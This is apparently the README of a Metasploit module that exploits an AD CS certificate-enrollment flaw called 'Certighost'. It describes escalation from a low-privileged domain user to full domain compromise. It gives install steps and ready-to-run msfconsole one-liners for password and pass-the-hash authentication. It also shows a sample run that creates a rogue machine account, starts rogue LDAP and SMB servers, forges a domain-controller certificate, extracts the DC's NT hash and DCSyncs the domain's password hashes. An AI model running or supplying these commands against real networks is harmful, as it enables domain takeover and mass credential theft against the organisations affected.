Metasploit-CVE-2026-54121-Certighost

Certighost fue descubierto y explotado originalmente por h0j3n y Aniq Fakhrul. Este repositorio contiene un módulo auxiliar de Metasploit que escala desde cualquier usuario de dominio con bajos privilegios hasta el compromiso total del dominio abusando del fallback "chase" de la inscripción de AD CS. Se puede forzar a la CA para que se autentique de vuelta contra una infraestructura controlada por el atacante y luego emita un certificado que suplanta a un Controlador de Dominio. Ese certificado se utiliza para PKINIT; UnPAC-the-hash recupera el hash NT del DC, y DCSync hace el resto.

Instalación

mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/

Verifica que se analiza y carga:

ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb

msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"

Los puertos 389 y 445 son privilegiados, por lo que el módulo debe ejecutarse como root.

Uso

Autenticación con contraseña

One-liner de MSF

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run" 

Ejecutando msfconsole

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run

Pass-the-hash

One-liner de MSF

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"

Ejecutando msfconsole

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run

NTLM_HASH acepta un hash NT simple, :NT o LM:NT. Cuando tanto PASSWORD como NTLM_HASH están establecidos, el hash tiene prioridad.

Solo certificado

Útil cuando quieres el certificado para uso sin conexión o posterior:

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"

---

Ejemplos

Explotación exitosa

$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL;  run"

[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*]   Discovering CA...
[+]     Found CA: ContosoCert-CA (DC01.contoso.lab)
[*]   Discovering target DC...
[+]     Target DC: DC01$ (DC01.contoso.lab)
[+]   CA:      ContosoCert-CA (192.168.10.10)
[+]   Target:  DC01$
[+]   Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+]   Password: CGf0a69633d2Aa1
[+]   SID:      S-1-5-21-2005457936-2008376057-2514283296-1756
[+]   Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*]   Listener IP: 192.168.44.128
[+]   Rogue LDAP server: 192.168.44.128:389
[+]   Rogue SMB server:  192.168.44.128:445
[*]   Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+]   Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+]   Certificate issued!
[+]   PFX (loot):  /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+]   PFX (local): /root/DC01_certighost.pfx
[+]   Subject: /CN=DC01.contoso.lab
[+]   Issuer:  /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+]   PKINIT successful - TGT for [email protected]
[+]   ccache saved: /root/DC01.ccache
[*]   Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+]   NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*]   Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+]   DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*]   (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+]   Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed

Opciones

msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options

Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):